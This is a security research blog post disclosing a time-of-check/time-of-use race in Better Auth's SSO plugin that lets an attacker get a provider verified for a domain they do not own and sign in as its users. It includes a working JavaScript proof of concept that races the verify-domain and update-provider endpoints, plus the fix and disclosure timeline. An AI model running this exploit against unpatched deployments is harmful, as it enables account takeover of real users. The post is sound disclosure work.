Securing Open Source: Better Auth

Jayden Jayden #open-source

A race condition in Better Auth's SSO plugin leads to account takeover.

Part 3 of our Securing Open Source series is Better Auth, a TypeScript authentication framework with 30k+ stars on GitHub.

TL;DR

  • Better Auth’s SSO plugin verifies domain ownership with a DNS TXT lookup, then marks the provider as domainVerified: true
  • Nothing stops the provider’s domain from being changed while the lookup is in flight
  • Racing verify-domain against update-provider gets you a verified provider for a domain you don’t own
  • The attacker can then sign in as anyone on that domain

What is Better Auth?

Better Auth is an open source authentication library for TypeScript. Unlike hosted services like WorkOS or Clerk, it runs inside your own backend and stores users in your own database. It handles email/password, social logins, sessions, 2FA, and passkeys, with plugins for organizations, SCIM, and SSO. It’s YC-backed, a popular option for modern codebases, and used by lots of startups (including us!).

Custom SSO is a very common ask for startups catering to enterprise, as these enterprises like to have centralized user management and thus use providers like Okta, Entra ID, etc. So, the SSO plugin is often enabled for B2B SaaS.

Better Auth’s plugin lets users register their own identity provider (IdP) for an email domain. Anyone signing in with that domain goes through the IdP, and Better Auth trusts the email it returns.

Before it fully trusts your IdP though, the plugin first makes you prove you own the domain by having you publish a DNS TXT record. Once that check passes, the provider is marked domainVerified and its emails are trusted.

The vulnerability we found comes down to how that flag gets set.

The Vulnerability

Verifying a Domain

The verifyDomain endpoint loads the provider, reads its domain field, and checks the TXT record for each domain. Then it sets the flag:

packages/sso/src/routes/domain-verification.ts
for (const domain of domains) {
let records: string[] = [];
try {
const dnsRecords = await dns.resolveTxt(`${identifier}.${domain}`);
9 collapsed lines
records = dnsRecords.map((record) => record.join(""));
} catch (error) {
// ...
}
const record = records.find(/* matches the verification value */);
if (!record) {
throw new APIError("BAD_GATEWAY", { /* ... */ });
}
}
await ctx.context.adapter.update<SSOProvider<SSOOptions>>({
model: "ssoProvider",
where: [{ field: "providerId", value: provider.providerId }],
update: {
domainVerified: true,
},
});

If you wrote a lot of async code before the age of vibe coding, you might be able to see the problem already. DNS operations, like ones ran in dns.resolveTxt, are async network calls, so Node continues to respond to other requests while waiting for the response. The domains array is read before the lookup starts, and the final update only filters on providerId. Nothing checks that the domain in the database is still the same one the lookup was for.

Changing the Domain Mid-Verification

The updateSSOProvider endpoint lets the owner change a provider’s domain, and resets domainVerified to false when they do. On its own that’s correct. But what if the update applies while verifyDomain is still waiting on DNS?

The provider is now verified for victim.com, even though the only domain the TXT record was checked for was attacker.com.

This is a classic TOCTOU (Time-of-Check to Time-of-Use) bug. DNS lookups take tens to hundreds of milliseconds, so the window is big enough that two back-to-back requests hit it most of the time.

Impact

A verified provider for victim.com is trusted for every @victim.com email, and since the attacker runs the IdP, they choose which email it asserts.

Signing in as admin@victim.com through the attacker's IdP.

With a verified provider, the attacker can:

  • Sign in as any existing @victim.com user. With implicit account linking enabled, Better Auth finds the account with the matching email and links the attacker’s IdP identity to it
  • Add every @victim.com user who signs in to an organization the attacker controls, if the organization plugin is enabled

The only prerequisite is an account on the target application, since by default any authenticated user can register an SSO provider. The victim doesn’t have to do anything.

Proof of Concept (PoC)

First, the attacker registers a provider for a domain they control, requests a verification record, and publishes it to DNS:

const BASE = "https://target.com/api/auth";
const headers = {
"Content-Type": "application/json",
Cookie: ATTACKER_SESSION,
};
await fetch(`${BASE}/sso/register`, {
method: "POST",
headers,
body: JSON.stringify({
providerId: "attacker",
issuer: "https://idp.attacker.com",
domain: "attacker.com",
oidcConfig: { /* attacker-controlled IdP */ },
}),
});
const { record } = await fetch(`${BASE}/sso/request-domain-verification`, {
method: "POST",
headers,
body: JSON.stringify({ providerId: "attacker" }),
}).then((r) => r.json());
// publish `record` as a TXT record on attacker.com, then:

Then they send the verification and the domain update at the same time:

await Promise.all([
fetch(`${BASE}/sso/verify-domain`, {
method: "POST",
headers,
body: JSON.stringify({ providerId: "attacker" }),
}),
fetch(`${BASE}/sso/update-provider`, {
method: "POST",
headers,
body: JSON.stringify({ providerId: "attacker", domain: "victim.com" }),
}),
]);

If the race works, the provider is now verified for victim.com. The attacker signs in through their IdP with an ID token asserting admin@victim.com, and Better Auth links it to the admin’s account. If it doesn’t work, set the domain back and retry until it does.

The Fix

The Better Auth team fixed this in @better-auth/sso@1.6.27 and published GHSA-8c5h-wx78-2cfg.

update now checks that the provider’s domain is still the one that was looked up and that domainVerified is still false before setting it to true. So, if updateSSOProvider changes the domain while the DNS lookup is running, the update doesn’t match anything and verification fails. Since the check and the write happen in the same query, there’s no longer a window for the race to happen.

Timeline

  • 06/28/2026 - Veria AI ran on Better Auth
  • 06/28/2026 - Veria AI finds and verifies the race condition
  • 06/28/2026 - Reported to Better Auth team
  • 07/30/2026 - Better Auth team fixes vulnerability
  • 08/11/2026 - Better Auth team publishes advisory